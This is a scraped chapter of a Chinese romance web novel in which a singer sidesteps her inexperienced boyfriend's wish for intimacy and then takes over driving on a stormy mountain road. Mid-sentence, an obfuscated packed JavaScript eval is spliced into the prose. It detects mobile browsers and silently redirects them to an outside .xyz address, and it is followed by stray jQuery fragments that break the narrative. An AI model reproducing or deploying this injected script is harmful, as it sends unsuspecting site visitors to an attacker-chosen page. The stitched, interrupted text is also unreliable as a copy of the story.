一般来说,乌曼因在表情管理这一块总是游刃有余的,很少有东西能让她绷不住情绪。
很不巧折敛就是其中之一的天赋型选手。
目测还在成长中。
不知道上天是不是看她活得太滋润了,利用她沉迷美色的特点,给她送来了一个活生生的克星。
痛并快乐着。
乌曼因告诉自己,好事是不可能让你都占全的。白捡了一个聪明漂亮又声音好听的男友,那他必然性格问题很大。
要是聪明漂亮声音好听性格还没问题……就要考虑下是不是碰到仙人跳了。
话说回来这个问题也太大了……不管多少次,乌曼因都会被折敛匮乏、又语出惊人的性知识震惊到。
他说这句话时,还是那副十足苍白冷淡的模样,眼里却充满了期待,像极了以前在地下场所里偶尔会见到的失足少女。
因为没什么见识,随随便便就会把自己托付出去。
这个傻瓜到底知不知道自己顶着一副什么样的脸在说什么话。
女明星捂着小心脏,觉得道德底线正在不断动摇,干部怎么能拿这个考验人民。
为了响应她摇摆不定的心灵,乌曼因头上适时冒出了小天使和小恶魔。
小恶魔说:“答应他!你和他说,宝宝,我绝对不会辜负你的!”
……会不会太油腻了?
小恶魔:“不会的不会的,你看他那好骗的样子,勾勾手就上当了!”
乌曼因:确定不是我上当?
小天使说:“那你就和折敛坦白——‘其实我也是第一次,咱俩谁占了便宜还不好说’?他一定会理解你的临阵脱逃的!”
乌曼因:这是嘲讽吧?你是不是在嘲讽我?我只是想婉拒,不是揭我老底,你出的什么馊主意!
乌曼因把没用的天使和恶魔都拍散,觉得还是得靠自己,捏着下巴琢磨果然解铃还须系铃人。
小折敛为什么忽然提起这个?有什么刺激到了折敛?
根据上下文对话,他们提到了……李藏之?可她解释了啊。
小李同学生态位和折敛完全不一样,折敛一直很听话,不应该怀疑才对。
这其中发生了什么她不知道的事情吗?
乌曼因突然想起了南吕的经历,一个很恐怖的猜想在她脑海里闪现,她谨慎地问:“是李藏之给你打电话,威胁你了吗?”
折敛本来在很慢吞吞地踩着刹车充当路上乌龟,闻言车猛得一停,差点把乌曼因颠出去。
等他回过神来才慢慢往前开:“……没有,为什么你会这么想?”
乌曼因抓着安全带松了口气,被自己的脑洞吓了一跳。
谢天谢地小李同学没有去外人那里发癫。
乌曼因解释:“因为你好像对他很有敌意,你们两个都是我很重要的人,我不想产生误会。”
折敛看上去有些无语,偏头:“没有误会,我知道你喜欢我比喜欢李藏之多。”
……光这句话的误会就很大。
乌曼因欲言又止,目光不自觉地移开,不太敢看折敛被远光灯照得微亮的眼睛。
其实真要论重要的人,她肯定选李藏之。
男朋友八年换了八任,而弟弟十年就这一个。
说实话让小折敛伤心了怎么办?
还是不说好了。
做女人,最重要的是家宅安宁。
……
折敛抬眼,用余光扫过副驾上美丽年轻的女明星。
乌曼因今天把她的大波浪长卷发扎了起来,只留下耳边鬓发小巧的两缕,随着她双手撑下巴神游时一弹一弹。
她一逃避就喜欢眼神乱飘。
看天看地就是不看他。
折敛很耐心地等着乌曼因的回答。
每当乌曼因偷偷摸摸投注过来“小猫犯错”的视线,企图观察他的反应,他就用询问的目光看回去。
“你不要我吗?你不喜欢我吗?”折敛又问。
他偏不让乌曼因逃避。
折敛可不是自由散漫又想一出是一出的乌曼因。
只要折敛想做的事情,很少有做不成的。
乌曼因哪见过这种直球选手,正心虚着呢,闻言立马说:“要的要的。”
“宝宝我们回北京再说吧,你都没有去过我家对不对,我家还蛮大的哦,”乌曼因把安全带抓得更紧了一点,拼命找理由,“这种事情不管怎么说还是要慎重一点,要提前准备很多东西的……”
此人一心虚不仅眼睛乱飘,话还很多,已经开始胡言乱语了。
折敛想了想。
以他的情商,听出隐含的拒绝含义有些超纲了,他反而觉得乌曼因考虑非常周全,赞同地“嗯”了一声。
“你说得对,是要准备很多东西。我回去找一下我的体检报告,你要看吗?是单位每年组织的,如果你不放心的话,我可以再去体检一下。”
“?”
重点是这个吗?
乌曼因思考方向给他一路带跑偏。
好像是很重要没错……
毕竟身体是革命的本钱。
乌曼因也不是没问前男友要过体检报告。其中一个叼毛居然敢倒打一耙,说她不相信他,真爱是不用体检报告的。
什么真爱,听不懂思密达,和医院传染病三项解释去吧。
遂断崖式分手。
亏那个演员前男友还是她前任里长得最好看的一个。
越漂亮的男人越会骗人,乌曼因吃了一次亏后深以为然。
折敛虽然也长得漂亮,但是一看就很诚实。
经过吃一堑吃二堑……吃八堑,乌曼因依然很相信自己的眼光。
如果有人问乌曼因,你为什么会喜欢折敛,乌曼因肯定先脱口而出看脸啊,再等她思考一下,她会说,因为折敛很独特。
折敛不同寻常的脑回路也是吸引乌曼因的一大理由。
你是一个在鸟巢开过演唱会的知名歌手、大街小巷都放着你唱作的歌,这很酷。
当这么一个明星的男朋友,理论上来说压力大的要死,却依然保持平淡到像伪装一样的迷恋——拜托这种性格超酷的好吗。
乌曼因的直觉告诉她折敛是真的不为所动,他的情感显得真实又虚假,仿佛不知道她职业的特殊、她有成千上万的狂热粉丝,她的钱多到可以淹了他一样。
没有任何强撑、胆怯和贪婪。她家境最好的一任男友也只能做到假装无视她的事业,不停试图夸耀自己以达到两人名义上的相衬。
真奇怪,这些明明是人性。
但是折敛似乎没有人性。
这么说好像有点不礼貌……但是乌曼因确实是是这么想的。
普通人看久了就会对世界百无聊赖,只有偶尔发掘出独特的人,每一步都踩在她的意料之外,生活才会有趣嘛。
她喜欢尝试高难度,也不介意为自己的任性买单。
想拨开观察折敛藏在害羞、没有人性的漠然内壳里到底是什么。在更难控制自己的生理场合,会不会展露真实的?
会更独特,还是平庸?
乌曼因笑着问:“你怎么不要我的体检报告?”
折敛愣了一下,牛头不对马嘴地说:“我可以做计生措施。”
“这时候你应该说‘我相信你’,而不是说‘我有计生措施’。”
“哦,”折敛平铺直叙地说,“我相信你。”
乌曼因满意了。
“等回了北京,请你来我家玩,”乌曼因畅想道,“我家有个水吧台,以前我在酒吧驻唱时学过一些调酒,漂亮的酒我都会调,味道也不错。”
折敛想象了一下,回忆乌曼因的动手能力,只能说保
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323468|183197||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
持美好的期待。
……
村屋和灯火逐渐消失在视野里,车驶上了盘山公路。没有路灯,也没有别的车。
好像世界忽然安静下来,车内和车外似乎间断成了两个世界。
折敛……依然开得很慢。
他双手捏着方向盘,仔细地分辨路边的反光片,浑身上下写着“新手上路”四个字。
乌曼因看了看时间,又看了看车子的时速,犹犹豫豫地问:“小折敛,你平常开不开车?”
折敛说:“很少开。”
“……很少是多少?”
“考完驾照就没有开过。”
像是预判到了乌曼因下一个问题,折敛提前说:“驾照是大学的时候考的。”
“……”可你现在已经博士要毕业了啊喂。
什么旖旎暂时都放放,望着窗外的瓢泼大雨、茂密的深山老林和嵌满了土坑的车道,乌曼因被吓得脑子清醒了不少,聪明的智商重新占领高地:“你早说啊,让我来开让我来开。”
折敛评估了下自己的车技,很听话地停下车。拿上雨伞,钻出了驾驶座。
两人冒雨交换了位置,手碰到方向盘的那一刻,乌曼因长长吐出一口气。
安全感总算回来了。
风和雨越来越大了,昏暗的天气已经如同夜晚,乌曼因觉得开车不太安全,就和折敛商量:“我们附近找个民宿住下吧,明天再回县里怎么样?”
折敛应了,手机上找到附近一家民宿设成目的地,然后说:“我把你的行李箱带过来了,就在后座上。”
乌曼因欢呼一声,更顺手地捞过折敛的脸,在他脸上亲了一口。
满意地看着折敛又僵直成一只副座上的尖叫鸡。
她给南吕发消息,提醒他们注意天气,婚可以以后再结,小命只有一条。
聊天框上面反复出现“对方正在输入……”,最后发来三个字——
要你说。
……
老司机乌曼因踩下离合器,往前推动操纵杆,她经手后,车速就提了上来,钢铁车身劈开雨幕,雨珠四溅,变得轻盈。
车在蜿蜒如蛇的山道上跑着,引擎轰鸣,开着雨刮,车窗外雨幕连天,乌曼因习惯性地外放了李藏之的歌单。
这些器乐交织出的旋律,和莲花蜡烛里那些比起来,只少了李藏之标志性的吟唱。
她还是怀念莲花蜡烛里的那首、她命名为《重逢》的歌,可惜暂时音频不在身边。
随时选择了一首情绪最激烈的、最适合开车听的歌。
乌曼因一直觉得,听觉是最适合调动情绪的感官。声音能直接钻进心里,不需要经过思考,音乐一起,人的情绪就被牵着走了。
但折敛偏偏是听力残疾人。
她觉得激昂连贯的歌,在折敛的世界里,也许只是断续破碎的振动,呕哑嘲哳的噪音。
乌曼因早就注意到,折敛对她放的所有歌曲都显得兴致缺缺,
他从不跟着节奏有轻微的动作,不会询问歌名,只是静静看着窗外,仿佛音乐的节拍不存在。
乌曼因想,以后尽量还是戴耳机吧。
大大小小的雨打在车窗上,为进行中音乐叠加了一层自然的音轨。
全世界只有他们两个人。
乌曼因忽然听懂了这首歌曲,恐慌、囚笼、反抗,收束了理想。
激烈的编曲,不是漫无目的的宣泄,像是一个人在无人处呼喊。
有个人一直说,歌曲所有的情感都是她这个作曲人的,他离了数学,就无法编曲。
他说自己只会用公式计算和弦走向,用算法生成节奏,强调自己是个没有感情的编曲机器。
这是假的。
乌曼因此刻清晰地听出来——在离开她的这几年,他分明已经学会了激烈的,完成了如同烈火般的创作。